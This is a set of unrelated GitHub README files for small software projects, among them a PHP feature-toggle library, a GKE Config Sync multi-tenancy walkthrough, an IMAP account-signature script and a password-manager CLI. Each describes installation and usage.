text:
# Sherloq Talk plugin

The following plugin sends Talk (https://coralproject.net/products/talk.html) comments to Sherloq for moderation

Here's a video about how the integration looks:

[![Alt text](https://img.youtube.com/vi/e5S0-WTCA8c/0.jpg)](https://youtu.be/e5S0-WTCA8c)

## Getting started

1. Install the `sherloq-talk` plugin from NPM by following [Talk plugin instructions](https://github.com/coralproject/talk/blob/master/PLUGINS.md)

2. Create an account in Sherloq (https://admin.sherloq.io/signup)

3. Once logged in, create a token by going the `Tokens` menu

Set the env variable `SHERLOQ_TOKEN` with the token created in the previous step.

## Advanced Configuration

Set the following env variables in your talk setup:

- `SHERLOQ_TOKEN` (required) - Sherloq account API token
- `SHERLOQ_API_URL` (optional for dev setup) - Sherloq API endpoint
- `SHERLOQ_CONFIG` (optional) - string based json settings:

---

- `noAction` - Set `true` if no action should be taken (default `false`)
- `flag`
   - `score` - Flag comment in dep-mod streams if SherloQ score is greater of equal to this value
- `reject`
   - `score` - Accept or reject comments depending on this score value

repository: mantika/sherloq-talk

repo_name: mantika/sherloq-talk


text:
# connect-health

A Connect middleware for Node/Express apps. It adds a /health endpoint which checks that MongoDB and Redis are present and writable (and that the app itself and its stack are running, obviously).

Knocked up with our Express boilerplate in mind, so your mileage may vary.

## Installation
It's on NPM under `connect-health`

## Example
Both Redis and MongoDB can be omitted and they won't be checked.

The Redis option should be a redis client, eg: `require("redis").createClient()`

The Mongo option expects an object containing a mongodb client. Eg: `{client: db.sharedClient()}`. This is wrapped in an object so that we can pass a reference in and add the client later in our boilerplate's initialisation.

```javascript
// requires
var connectHealth = require('connect-health');

// db setup (you'll already have something like this)
var redisClient = require("redis").createClient()
  , db = require('./modules/database');

// adding the middleware to your app config
app.use(connectHealth({redis: redisClient, mongodb: db}));
```

MIT License

license: MIT

repository: codeincontext/connect-health

branch_name: refs/heads/master

extension: md

license_type: permissive

repo_name: codeincontext/connect-health


text:
# CS224u: Natural Language Understanding

Code for [the Stanford course](http://web.stanford.edu/class/cs224u/).

Spring 2021

This is Code contain homeworks. Some differences.


text:
# PrintUIComponent
Motivation : Using in built browse's feature Print React, or any HTML component with styling on top of it

- Usage:
  - `npm install PrintUIComponent`
  - import {PrintUIComponent} from 'printuicomponent'
  - call <br/>
      `PrintUIComponent(htmlBody, styles, windowTitle, windowSize = {
                              height: "",
                              width: "",
                              top: "",
                              left: "",
                              right: ""
                          }, shouldAutoPrint = false)`

   - That's it !!!

branch_name: refs/heads/main


text:
# kubernetes-samples
Step by step kubernetes samples from beginner to advanced

#Installation

kubectl + minikube

https://kubernetes.io/docs/tasks/tools/install-minikube/

[Cmder](http://cmder.net/)

Books

[Up and Running kubernetes](https://www.amazon.com/Kubernetes-Running-Dive-Future-Infrastructure/dp/1491935677)

References

[1] https://www.slideshare.net/Docker/containerd-the-universal-container-runtime

[2] https://rominirani.com/tutorial-getting-started-with-kubernetes-on-your-windows-laptop-with-minikube-3269b54a226

[3] https://github.com/jamiehannaford/what-happens-when-k8s

[4] https://kubernetes.io/docs/tasks/administer-cluster/cpu-constraint-namespace/

[5] https://kubernetes.io/docs/reference/kubectl/cheatsheet/

[6] https://github.com/kubernetes/kubernetes/issues/24925 *:))))* Mind Blowing CPU Shares

[7] https://www.kernel.org/doc/Documentation/cgroup-v1/cgroups.txt

[8] https://0xax.gitbooks.io/linux-insides/content/Cgroups/cgroups1.html

repository: kubernetestr/kubernetes-essentials

repo_name: kubernetestr/kubernetes-essentials


text:
# vala-snippets
Yasnippet to use with Vala

Info
====

Made this since there really isn't anything for Vala. I'm also new to Vala
so I made snippets that I though would be handy for me and other people. Of course
I could be missing some vital snippets that you might think are handy, go ahead an contribute :)

Install
========

Package is available in [MELPA](http://melpa.org/#/vala-snippets)

To add Melpa just follow their [instructions](https://github.com/milkypostman/melpa#usage)

Once that is finished just type:
~~~
M-x package-install vala-snippets
~~~

Contributions
=============

To add snippets just fork repo, add file snippet and submit PR.

repository: gopar/vala-snippets

repo_name: gopar/vala-snippets


text:
[![Main branch build](https://github.com/yardbirdsax/personal-site/actions/workflows/main.yml/badge.svg?branch=main)](https://github.com/yardbirdsax/personal-site/actions/workflows/main.yml)
# My Personal Site

This is the repository where the code that powers [my personal site](https://josh.feiermanfamily.com) is kept. It is based on the Developer Diaries Gatsby theme by [Will Ward](https://github.com/willjw3).

The site is built with [GitHub Actions](https://docs.github.com/en/actions) and hosted on [AWS S3](https://aws.amazon.com/s3/).

repository: yardbirdsax/personal-site

repo_name: yardbirdsax/personal-site


text:
**BREAKING CHANGES in v4**

* oneRow is removed. [scrollDirection](https://github.com/wix/pro-gallery/blob/master/packages/lib/src/common/constants/scrollDirection.js) is the sole option to define a vertical/horizontal gallery.

repository: AustralianDisabilityLimited/pro-gallery

gha_license_id: MIT

repo_name: AustralianDisabilityLimited/pro-gallery


text:
[![SensioLabsInsight](https://insight.sensiolabs.com/projects/67f27cbe-9125-4b7e-a111-24c2aa76f186/big.png)](https://insight.sensiolabs.com/projects/67f27cbe-9125-4b7e-a111-24c2aa76f186)

[![Scrutinizer Code Quality](https://scrutinizer-ci.com/g/krystalcode/feature-toggle/badges/quality-score.png?b=master)](https://scrutinizer-ci.com/g/krystalcode/feature-toggle/?branch=master) [![Build Status](https://travis-ci.org/krystalcode/feature-toggle.svg?branch=master)](https://travis-ci.org/krystalcode/feature-toggle) [![Code Coverage](https://scrutinizer-ci.com/g/krystalcode/feature-toggle/badges/coverage.png?b=master)](https://scrutinizer-ci.com/g/krystalcode/feature-toggle/?branch=master) [![Dependency Status](https://www.versioneye.com/user/projects/54e0ed6d271c93aa120001ce/badge.svg?style=flat)](https://www.versioneye.com/user/projects/54e0ed6d271c93aa120001ce) [![Latest Stable Version](https://poser.pugx.org/krystalcode/feature-toggle/v/stable.svg)](https://packagist.org/packages/krystalcode/feature-toggle) [![License](https://poser.pugx.org/krystalcode/feature-toggle/license.svg)](https://packagist.org/packages/krystalcode/feature-toggle)

# FeatureToggle

## About

FeatureToggle is an easy to use, extensible library that aims to provide feature toggle functionality for PHP applications.

## Model

The library model is based on Toggles which are classes that define algorithms used to evaluate whether a feature should be on or off (enabled or disabled). Examples may be a Toggle that reads a configuration file and decides based on a variable value, a Toggle that checks whether the user has a subscription plan, or a Toggle that fetches information from an external API and decides based on that.

## Requirements

Currently depends on the Symfony Yaml component (https://github.com/symfony/yaml).

## How to use

Provided Toggles

### YAML file

The YAML Toggle (ToggleConfigYaml class) loads the configuration variables from a YAML file and decides based on a variable value. It extends the ToggleConfig class which statically stores the configuration vatiables so that they are loaded only once even if feature toggling is used in multiple places in the code.

Assuming the following configuration file contents:

```
awesomefeature/dev: true
awesomefeature/stage: true
awesomefeature/prod: false
```

The following code will enable the feature on the development and stage environments and disable it on the production environment.

```
use KrystalCode\FeatureToggle\Toggle;

if (Toggle::yaml('absolute/path/to/config.yml', 'awesomefeature/'.$yourCurrentEnvironment)) {
    // Code to be executed when the feature is enabled.
}
```

where the variable $yourCurrentEnvironment should have a value of "dev", "stage" or "prod". On runtime, the code will be executed in the development and staging environments but not in the production environment.

The configuration variables may also have other values apart from true or false. Say you would like to enable a feature only when the blue theme is in use:

```
theme: blue
```

The following code will enable the feature when the value of the variable "theme" is "blue".

```
use KrystalCode\FeatureToggle\Toggle;

if (Toggle::yaml('absolute/path/to/config.yml', 'theme', 'blue')) {
    // Code to be executed when the feature is enabled.
}
```

### PHP file

You can load the variables from a PHP configuration file. Using the same example as with YAML, your configuration file contents would be:

```
<?php
return array(
    'awesomefeature/dev' => true,
    'awesomefeature/stage' => true,
    'awesomefeature/prod' => false,
);
```

and your application code would be:

```
use KrystalCode\FeatureToggle\Toggle;

if (Toggle::php('absolute/path/to/config.php', 'awesomefeature/'.$yourCurrentEnvironment)) {
    // Code to be executed when the feature is enabled.
}
```

### INI file

You can load the variables from an INI configuration file (.ini, see http://php.net/manual/en/function.parse-ini-file.php). Using the same example as with YAML, your configuration file contents would be:

```
awesomefeature/dev = true
awesomefeature/stage = true
awesomefeature/prod = false
```

and your application code would be:

```
use KrystalCode\FeatureToggle\Toggle;

if (Toggle::ini('absolute/path/to/config.ini', 'awesomefeature/'.$yourCurrentEnvironment)) {
    // Code to be executed when the feature is enabled.
}
```

### Integrations

#### Yii Framework

You will need to add your configuration in the params.php file (Yii2) or in the main.php file (Yii1) as an array item with index 'featureToggle'. Using the same example as with YAML, your configuration file contents would be:

```
<?php
// Yii2
return [
    'featureToggle' => [
        'awesomefeature/dev' => true,
        'awesomefeature/stage' => true,
        'awesomefeature/prod' => false,
    ],
];

// Yii1
return [
    'params' => [
        'featureToggle' => [
            'awesomefeature/dev' => true,
            'awesomefeature/stage' => true,
            'awesomefeature/prod' => false,
        ],
    ],
];
```

and your application code would be:

```
use KrystalCode\FeatureToggle\Toggle;

// Yii2
if (Toggle::yii2('awesomefeature/'.$yourCurrentEnvironment)) {
    // Code to be executed when the feature is enabled.
}

// Yii1
if (Toggle::yii1('awesomefeature/'.$yourCurrentEnvironment)) {
    // Code to be executed when the feature is enabled.
}
```

## How to extend

Say you would like to enable a feature only for premium users on your website. You can write a custom Toggle as follows:

```
use KrystalCode\FeatureToggle\ToggleInterface;

class TogglePremiumUser implements ToggleInterface
{
    private $user;

    public function __construct($user)
    {
        $this->user = $user;
    }

    public function on()
    {
        // You can also add your logic here if preferred.
        return $this->user->isPremium();
    }
}
```

## Full syntax

The examples above are using the easy syntax provided by a helper class. The full syntax for the YAML examples would be:

```
use KrystalCode\FeatureToggle\ConfigLoaderYaml;
use KrystalCode\FeatureToggle\ToggleConfig;
use Symfony\Component\Yaml\Parser;

$loader = new ConfigLoaderYaml(new Parser(), '/absolute/path/to/config.yml');
$toggle = new ToggleConfig($loader, 'awesomefeature/'.$yourCurrentEnvironment);
if ($toggle->on()) {
    // Code to be executed when the feature is enabled.
}
```

and

```
use KrystalCode\FeatureToggle\ConfigLoaderYaml;
use KrystalCode\FeatureToggle\ToggleConfig;
use Symfony\Component\Yaml\Parser;

$loader = new ConfigLoaderYaml(new Parser(), '/absolute/path/to/config.yml');
$toggle = new ToggleConfig($loader, 'theme', 'blue');
if ($toggle->on()) {
    // Code to be executed when the feature is enabled.
}
```

For PHP:

```
use KrystalCode\FeatureToggle\ConfigLoaderPhp;
use KrystalCode\FeatureToggle\ToggleConfig;

$loader = new ConfigLoaderPhp('/absolute/path/to/config.php');
$toggle = new ToggleConfig($loader, 'awesomefeature/'.$yourCurrentEnvironment);
if ($toggle->on()) {
    // Code to be executed when the feature is enabled.
}
```

and for INI:

```
use KrystalCode\FeatureToggle\ConfigLoaderIni;
use KrystalCode\FeatureToggle\ToggleConfig;

$loader = new ConfigLoaderIni('/absolute/path/to/config.ini');
$toggle = new ToggleConfig($loader, 'theme', 'blue');
if ($toggle->on()) {
    // Code to be executed when the feature is enabled.
}
```

## How to contribute

Feel free to submit pull requests. If you have ideas for new features or use cases that are not covered, open an issue to discuss.

repository: krystalcode/feature-toggle

repo_name: krystalcode/feature-toggle


text:
# React Native Boilerplate

A lightweight react native boilerplate to get you up an running in no time.

Brought to you by Prototype @wizards.

## What's needed

* [Node.js](http://nodejs.org)
* [React](https://github.com/facebook/react) & [React Native](https://github.com/facebook/react-native)

## What's included

* [PropTypes](https://facebook.github.io/react/docs/typechecking-with-proptypes.html)
* [Redux](https://github.com/reactjs/redux) with [redux-thunk](https://github.com/gaearon/redux-thunk) and [redux-persist](https://github.com/rt2zz/redux-persist)
* [React native router flux](https://github.com/aksonov/react-native-router-flux)
* [Immutability helper](https://github.com/kolodny/immutability-helper)
* [React native SVG](https://github.com/react-native-community/react-native-svg)
* [react-devtools](https://github.com/facebook/react-devtools)

## Start

* Install node, watchman, and react-native-cli by following this [guide](https://facebook.github.io/react-native/docs/getting-started.html)
* Install Cocaopods:
```
$ sudo gem install cocoapods -n /usr/local/bin
```
* Run the following:
```
$ npm i
$ react-native link
```

#### How to start your own project

* Delete both `ios` and `android` folder. At this stage, those contains nothing that is not autogenerated.
* Change your app name in `app.json`, `package.json`, and `app/index.js`
* Run `react-native upgrade`. This will generate the native folders again.
* Run `npm run react-devtools` to open standalone react-devtools app

## Develop

##### iOS

Run command to open iOS simulator and run app:

```
$ npm run ios
```

Or open `ios/RNBoilerplate.xcodeproj` file with XCode:

```
$ npm run ios-open
```

##### Android (5.0+)

Open Android emulator and run:

```
$ npm run android
```

## Test
Test suit is using jest, to run the tests use:

```
$ npm test
```

## Release

Releases are done via fastlane to avoid having to wait 15 minutes to open either xcode or android studio.

* First start by [installing fastlane](https://docs.fastlane.tools/getting-started/ios/setup/).
* Then make sure you set iOS and Android profiles and keys following this [tutorial](https://facebook.github.io/react-native/docs/running-on-device.html)

In the boilerplate, only beta release are configured

* For android, run `fastlane android beta`
* For ios, run `fastlane ios beta`


text:
# kid_readout

Code for the ROACH CUKIDS readout and analysis.

[![Build Status](https://travis-ci.org/ColumbiaCMB/kid_readout.svg?branch=master)](https://travis-ci.org/ColumbiaCMB/kid_readout)

## Disclaimer

This code is provided in the hope that it may be useful to others, but is still very much a work in progress.

## FPGA designs

Using the ROACH code requires the FPGA designs available here:
* Simulink .slx files (public): https://github.com/ColumbiaCMB/kid_readout_fpga
* Compiled .bof files (private): https://github.com/ColumbiaCMB/kid_readout_fpga_bof

## Structure
* `apps/` Scripts, mostly for acquiring and analyzing data
* `docs/` Documentation
* `kid_readout/` All library code
  * `interactive.py` Import * from this for interactive use
  * `analysis/` Resonator fitting, timeseries analysis, experiment info (in resources/)
  * `equipment/` Scripts and library code for lab equipment
  * `measurement/` Code for organizing collected data and writing it to disk
  * `roach/` Communicate with ROACH 1 and 2 boards
  * `settings/` Local variables and settings
  * `utils/` Miscellany, mostly deprecated
*  `ppc/` ROACH PPC code

## Install

From the directory where this package was cloned, first create an environment named kid_readout with all dependencies:
`conda env create -f environment.yml`

Activate the kid_readout environment:
`$ source activate kid_readout`

At this point, all of the non-hardware tests should pass:
`$ nosetests -v`

All dependencies should be installed, so it should be possible to install the package in development mode:
`$ pip install --no-deps -e .`

This is a hack to stop the `corr` package from importing lots of things we don't use, one of which raises an error:
`$ echo "" > $CONDA_PREFIX/lib/python2.7/site-packages/corr/__init__.py`
At this point, all the hardware tests should pass if the corresponding readout hardware is connected:
```
$ cd kid_readout/roach/tests
$ nosetests -v test_roach2_heterodyne_loopback.py
```


text:
# Background

I'm a platform admin tasked with running a multi-tenant application on GKE. This leaves me with a couple of fundamental things to do:
- I need to create the GKE cluster where every tenant's app will be deployed.
- I need to create the policies, namespaces etc. that will govern every tenant. For example: every tenant gets their own GKE namespace in a large shared cluster
- I should be able to put all my platform level GKE configurations into a git repository and keep them in sync with cluster
- For every tenant, I will create a new git repository per tenant - this will be used to hold the application code for every individual tenant, the namespace in the GKE cluster where every individual tenant's apps will be deployed, the synchronization b/w this tenant git repository, and the tenant namespace on the GKE cluster.

# Creating GKE cluster

Leveraging workload identity on the GKE cluster enables the comms b/w the Git repo on GCP using a service account instead of tokens or ssh keys and is hence the recommended way of doing it. Basically, instead o creating a secret on the GKE level and using that to enable connectivity b/w the cluster worker nodes and the Source Repo, the service account on the worker node enables gives the worker node service account level access to allow the node to talk to the source repo.

- Create a regular public GKE cluster but ideally with Workload identity enabled on the GKE cluster and the GKE Metadat server on the worker node pool.
- If the cluster already exisits, enable Workload identity on the cluster level and the GKE metadata server on the nodepools.

# Ready Cloud Shell to work with the source repo

1. Create a repo on Cloud Source Repo
2. Generate an ssh key on the cloud shell environment

    ```bash
    ssh-keygen -t rsa
    cat ~/.ssh/id_rsa.pub
    ```
3. On the cloud source repo page, click on the 3 dots on the top right on the page, click on Manage SSL keys and create a new key, give it a name and paste the ssh key contents from the previous step there.

4. Clone the repository using the ssh url to the cloud shell.
5. Add your code to the repo folder

    ```bash
    mkdir home
    kubectl create ns something --dry-run=client -o yaml > home/my-ns.yaml
    ```

6. git add, git commit, add remote and then push the code to the main branch to the cloud source repo.

We will now use this cloud source repo as the repo to sync with the kubernetes cluster using config sync.

# Service account setup

1. navigate to service accounts on the IAM and Admin Page and create a new service account.
2. Navigate to the IAM tab on the left hand side and select the service account email ID you just created. Grant it the least privilege `source.reader` role or the `source.writer` role for a wider range of permissions.
3. Note the email ID for the service account on the service accounts page or the IAM page. We will need it later to setup service account matching b/w gcp service account and kubernetes service account. Note: The kubernetes service account from ACM gets created only after ACM has been installed on the cluster, hence this step is pending till the time we finish the next step of installing ACM into the cluster.

Note: The service account we've created on the GCP side in the previous step is called the `GSA` = `Google Service Account`. The Service account that'll be created in the kubernetes cluster is consequently going to be called the `KSA` = `Kubernetes Service Account`. Get the analogy?

# Configure ACM into the cluster

1. On the Anthos UI, navigate to clusters and select the grey box that asks you to register the un-registered cluster. There, select the cluster we created earlier (which is currently not enrolled in to Anthos), and enroll it by clicking on the Register button next to the name of the cluster.
2. Navigate to the config management tab on the left hand side and use the grey box on the top to setup config management for the cluster where it hasn't been setup. Setup steps as follows.
3. Select the cluster on the next screen and hit continue.
4. You can unselect Policy Controller for now and hit continue
5. Keep the Enable config sync checkbox selected and select custom from the dropdown menu.
6. In the URL field, put the HTTPS protocol URL for the repo in the Cloud Source Repo. Do not put the ssh url since we're using Service account as the mode of authentication, and not ssh keys.
7. Click on Advanced Settings and select Authnetication type as Workload identity. In the service account email field, mention the service account email ID from the previous step.
8. Set configuration directory to `home/`
9. Select the latest version of ACM and click Complete at the bottom to start the installation.
10. The Ui will show an error right now, and that's ok because the service account created inside GKE isn't connected to the GCP service account we created earlier, and hence the Config Sync component in the cluster doesn't have the required permissions to read the source git repo.

Note: As per the [document](https://cloud.google.com/anthos-config-management/docs/how-to/installing-config-sync#workload-identity-enabled), since the `root-reconciler` deployment is present in the `config-management-system` namespace, the name of the KSA is `root-reconciler`. Run `kubectl get sa -n config-management-system | grep root` to verify.

    ```bash
    gcloud iam service-accounts add-iam-policy-binding \
    --role roles/iam.workloadIdentityUser \
    --member "serviceAccount:$PROJECT_ID.svc.id.goog[config-management-system/$KSA]" \
<EMAIL_ADDRESS>    ```
11. With this, the root repository should sync with the home directory in the git repository. To check the status of the repo sync you can use the following command

    ```bash
    nomos status
    ```

# Adding another namespace repo, a tenant to sync

There are 2 models of operations here.
[Scenario 1](https://cloud.google.com/anthos-config-management/docs/how-to/multiple-repositories#manage-namespace-repos-in-root): The admin create sthe basic artifacts such as the tenant namespace in the cluster, the synchronization artifacts of the tenant specifc git repo, service account role bindings etc.
[Scenario 2](https://cloud.google.com/anthos-config-management/docs/how-to/multiple-repositories#manage-namespace-repos-in-namespace): you can simply let that be managed by the cluster tenant owner (the app owners or whoever is reponsible for deploying the app in the cluster namespace). So the app owner will have to setup the sync, the service account mappings etc.

In this document, we're covering Scenario 1.

We now intend to add a tenant to the cluster and the git repository to be synced for this tenant is refered to as the namespace repository. The k8s yaml for creating the namespace, relevant admin level artifacts such as network policies, RepoSync configuration for a tenant repository, stay in the root repository, while things such as the deployments, services, ingress etc resources that are specific to a tenant may go in the namespace repo.

## Creating a namespace in the cluster for the tenant

> This section is performed by an admin, and not the application owners.

1. Add a yaml for creation of the tenant namespace to the root repo in the `home/` folder.

```yaml
apiVersion: v1
kind: Namespace
metadata:
  creationTimestamp: null
  name: tenant-1
spec: {}
```

## Creating a git repo for the tenant

> This section is performed by an admin, not an app owner.

1. Create a git repo for the tenant from the UI, or using the gcloud CLI as desired.

> Make note of the https repo URL for the repo that's been created. We'll need it in the next steps to setup the sync. Also, we'll assume here that the app owners will put the kubernetes manifests in a `manifests` folder in the root of the repo.

## Setting up sync b/w tenant namespace & tenant git repo

> This section is performed by an admin, not an app owner.

1. The admin now needs to create a repo sync resource that will sync the resources created in a tenant git repo `tenant-1` namespace we created - this repo sync resource is a namespaced resource and needs to be applied into tenant-1's namespace by the admin.

```yaml
apiVersion: configsync.gke.io/v1alpha1
kind: RepoSync
metadata:
  # There can be at most one RepoSync object per namespace.
  # To enforce this restriction, the object name must be repo-sync.
  name: tenant-1-reposync
  namespace: tenant-1
spec:
  # Since this is for a namespace repository, the format should be unstructured
  sourceFormat: unstructured
  git:
    # If you fork this repo, change the url to point to your fork
    repo: https://source.developers.google.com/p/kay-dev-project/r/tenant-1
    # If you move the configs to a different branch, update the branch here
    branch: main
    dir: manifests/
    gcpServiceAccountEmail<EMAIL_ADDRESS>    # We recommend securing your source repository.
    # Other supported auth: `ssh`, `cookiefile`, `token`, `gcenode`.
    auth: gcpserviceaccount
```

3. Kubernetes Service accounts or KSA's are namespaced resources and hence the `tenant-1` namespace also needs it's service accocunt to be linked to a GSA (a Google Service Account) so the `RepoSync` object has the permissions to pull the artifacts from the source repository. Note, that this KSA which needs to be attached with the GSA is only created after the RepoSync object has been applied to the cluster.

Note: In the case of a `root-repository` sync, the KSA name is `root-reconciler`, while in the case of a namespace repo, the KSA starts with the prefix `ns-reconciler` and could have a name like `ns-reconciler-[namespace]` or `ns-reconciler-[repo_sync_name]`. This can be checked using the command `kubectl get sa -A | grep ns-reconciler`

4. Once we have created the RepoSync object, proceed to attach the KSA to the GSA using the following command:

```bash
gcloud iam service-accounts add-iam-policy-binding \
   --role roles/iam.workloadIdentityUser \
   --member "serviceAccount:kay-dev-project.svc.id.goog[config-management-system/ns-reconciler-tenant-1-tenant-1-reposync-17]" \
<EMAIL_ADDRESS>```

6. The KSA above will need the appropriate permissions within the cluster to CRUD resoruces in the cluster, such as managing deployments, services etc. This service account can be allocated a custom or a pre-defined Kubernetes Role or a ClusterRole (such as the omnipotent `admin` - clearly a bad idea for production). In the root repo, create this yaml file to be synced as well.

```yaml
kind: RoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: syncs-repo
  namespace: tenant-1
subjects:
- kind: ServiceAccount
  name: ns-reconciler-tenant-1-tenant-1-reposync-17
  namespace: config-management-system
roleRef:
  kind: ClusterRole
  name: admin
  apiGroup: rbac.authorization.k8s.io
```

5. Check the status of the sync using the following command

```bash
nomos status
```

# Add deployment artifacts to the tenant Git repo

> This section is performed by an App owner, not an admin.

1. Clone the tenant git repository that was created and supplied by the admin, into the cloud shell.
2. Add the following simple nginx deployment yaml to the repository in a new folder (that you create) called `manifests`. Make sure there is no `status` field in the deployment spec.

```yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  creationTimestamp: null
  labels:
    app: nginx
  name: nginx
  namespace: tenant-1
spec:
  replicas: 1
  selector:
    matchLabels:
      app: nginx
  strategy: {}
  template:
    metadata:
      creationTimestamp: null
      labels:
        app: nginx
    spec:
      containers:
      - image: nginx
        name: nginx
        ports:
        - containerPort: 80
        resources: {}
```

3. Create a yaml file to expose the nginx deployment using a Load balancer int he same `manifests` folder. Make sure there is no `status` field in the service spec.

```yaml
apiVersion: v1
kind: Service
metadata:
  creationTimestamp: null
  labels:
    app: nginx
  name: nginx
  namespace: tenant-1
spec:
  ports:
  - port: 80
    protocol: TCP
    targetPort: 80
  selector:
    app: nginx
```

4. Add these changes, commit and push them to the repository.

5. You should now be able to view the nginx deployment and the accompanying load balancer service deployed to the `tenant-1` namespace in the cluster.

# Setting up for multitenancy

Basis this [excellent guide](https://learnk8s.io/templating-yaml-with-code), I decided to atleast start with kustomize, and try to create a system for a multi-tenant deployment model using ACM. The eventual idea is to use a combination of Cloud Build, and ACM to create a multi-tenant setup which does the following:
- on calling a Cloud Build URL (relevant parameters such as the tenant's name are passed in as inputs), the following steps are executed:
    - the gcloud command is used to create a cloud source repo for the tenant, and the URL for the repo captured. This will be the namespace repo which will carry the namespaced resources to be deployed for the individual tenant.
    - the root repo is checked out and a new tenant folder is setup in it, with all the relevant patch yamls, like the namespace, rolebinding and the reposync resources with the name of the tenant. The values are still be the original values copied over from the template but we use sed or yq to overwrite the values based on the params passed into the build pipeline.
    - once modified, a new git commit will be created which will be pushed to the repo, which will then be synced with the main cluster.

# Autoscaler exception

This doesn't seem to play nice with HPA. Irrespective of whether you use HPA imperatively or decleratively, there seems to be contention in scaling due to which additional pods aren't created.

```bash
kubectl run -i --tty --rm loadgen --image=cyrilbkr/httperf --restart=Never -- /bin/sh -c 'httperf --server=[target-IP] --hog --uri="/zone" --port 80  --wsess=100000,1,1 --rate 1000'
```

# References

Doc Reference: https://cloud.google.com/anthos-config-management/docs/how-to/installing-config-sync
Multi-repo sync: https://cloud.google.com/anthos-config-management/docs/config-sync-quickstart
Multi-repo documentation: https://cloud.google.com/anthos-config-management/docs/how-to/multiple-repositories
Repo types in ACM: https://cloud.google.com/anthos-config-management/docs/config-sync-overview#repositories
Root-sync resource ref documentation: https://cloud.google.com/anthos-config-management/docs/reference/rootsync-reposync-fields#configuring-source-type
Using templating engines: https://learnk8s.io/templating-yaml-with-code
Use kustomize and Helm with ACM: https://cloud.google.com/anthos-config-management/docs/how-to/use-repo-kustomize-helm
Enable Drift prevention: https://cloud.google.com/anthos-config-management/docs/how-to/prevent-config-drift#kubectl
Load Testing: https://cloud.google.com/kubernetes-engine/docs/how-to/deploying-multi-cluster-gateways#verify_traffic_using_load_testing
Configuring HPA: https://cloud.google.com/kubernetes-engine/docs/how-to/horizontal-pod-autoscaling#kubectl-apply
Official HPA docs: https://kubernetes.io/docs/tasks/run-application/horizontal-pod-autoscale/


text:
get_imap_signature
==================

test and hash the characteristics of an email account
(and quickly test that a mail account is working)

usage : ./get_imap_signature.pl -remote=imap.domain.tld<EMAIL_ADDRESS>-pw=wtfareyouusingaweakpassword

This script will do some plain TCP (no IMAP modules) to fetch all IMAP directories, mail flags and so on, so that it
will finally yield a "GLOBAL HASH", which can be used as a signature to check that an account was correctly migrated.

```sh
folays@phenix:~$ ./get_imap_signature.pl
<<< * OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE STARTTLS AUTH=PLAIN AUTH=LOGIN] Dovecot ready.
>>> . login<EMAIL_ADDRESS>"winteriscoming"
<<< . OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE SORT SORT=DISPLAY THREAD=REFERENCES THREAD=REFS MULTIAPPEND UNSELECT CHILDREN NAMESPACE UIDPLUS LIST-EXTENDED I18NLEVEL=1 CONDSTORE QRESYNC ESEARCH ESORT SEARCHRES WITHIN CONTEXT=SEARCH LIST-STATUS QUOTA] Logged in
>>> . namespace
<<< * NAMESPACE (("" "/")) NIL NIL
<<< . OK Namespace completed.
>>> . lsub "" "*"
<<< * LSUB () "/" "INBOX"
<<< * LSUB () "/" "INBOX/Drafts"
<<< * LSUB () "/" "INBOX/Sent"
<<< * LSUB () "/" "INBOX/SPAM"
[...]
<<< * BYE Logging out
<<< . OK Logout completed.
maximum number of imaps have been sent (1)
GLOBAL HASH : 980759512
```

CONFIGURATION

You can put default configuration options in ~/.get_imap_signature.conf, in JSON format. Example:

```sh
folays@phenix:~$ cat .get_imap_signature.conf
{"login":"postmaster@domain.tld","pw":"winteriscoming"}
```

FEATURES

You can also make this script flooding if you want to test the performances of your server.

For example, fetch 10k signatures using 200 TCP sockets running over 1k mail accounts:
```sh
./get_imap_signature.pl -max=10000 -sockets=200<EMAIL_ADDRESS>```

all "X" characters before the "@" of the mail address will be replaced by a random number, so that you can for example
create 1k mail account on your server and let the script flood them.

license: ISC


text:
# Prevent mutation of this.props (no-mutation-props)

NEVER mutate `this.props`, as all React components must act like pure functions with respect to their props.
Treat `this.props` as if it were immutable. More info available at [https://facebook.github.io/react/docs/components-and-props.html#props-are-read-only](https://facebook.github.io/react/docs/components-and-props.html#props-are-read-only)

## Rule Details

This rule is aimed to forbid the use of mutating `this.props`.

The following patterns are considered warnings:

```jsx
var Hello = React.createClass({
  render: function() {
    this.props.name = this.props.name.toUpperCase();
    return <div>Hello {this.props.name}</div>;
  }
});
```

repository: joeybaker/eslint-plugin-react

repo_name: joeybaker/eslint-plugin-react


text:
## Usage

### Getting Help

```
$ surelock -h
usage: surelock [-h]
                {add,view,del,init,show,add_category,delete_category,pwgen}
                ...

positional arguments:
  {add,view,del,init,show,add_category,delete_category,pwgen}
    add                 add a new entry
    view                view a password
    del                 delete an entry
    init                initialize a database
    show                show a category
    add_category        add a category
    delete_category     delete a category
    pwgen               Generate a strong password based on a simple one

optional arguments:
  -h, --help            show this help message and exit
```

## Quickstart Guide

### Initialize a database

First time using Surelock, you will need to create a database for yourself.

Use the `init` command to create a database:
```
./surelock.py init
Type your passphrase:
Retype your passphrase:
```

This will create a database file called `surelock.db` in your current directory, with your
chosen master password (passphrase), you will be able to operate the program using this database.

Some operations as adding/deleting (`add` or `del` commands) entries or viewing them
(`view`) require password authentication, while
others may not such as listing categories (`show`) and entries.

You can have more than one database for different purposes. You can create a new database
with the `init` command and the `-f` or `--file` flag.

```
./surelock.py init -f secret.db
```

will create another database called `work.db`, where you can save your top secret
passwords apart from your regular ones, securing them with a different password.

### Add a category

After creating the database, you can add some categories in it. Let's add a category for
our e-mail accounts.

```
./surelock.py add_category email

```

A possible list of categories you can create now is:
* email
* social
* banking
* work
* ssh-logins
* private
and so on.

### List categories

```
./surelock,py show
Category: root
Category: email
```

Our newly created `email` category is in the list, along with the default `root` category.

### Add an entry

You can add an entry by using the `add` command.

```
usage: surelock add [-h] [-f FILE] [-r] [-l LENGTH] [-s] [-n]
                    [-d [DESCRIPTION [DESCRIPTION ...]]]
                    entry username [category]
```

For example: `./surelock.py add facebook myfacebookusername` will add the entry `facebook`
with username `myfacebookusername` to the table `root`.

`./surelock.py add gmail<EMAIL_ADDRESS>email` will add the entry `gmail` with
<EMAIL_ADDRESS>as username to the `email` category.

### View an entry
```
./surelock.py view facebook
```
will ask for your master password, and then show the saved password in the database.

### Conclusion

Most other commands from surelock are self-explanatory, such as `add_category`,
`delete_category` or `pwgen` (which is a password generator).

You can always view the help page with `-h` or by running `./surelock.py` without any
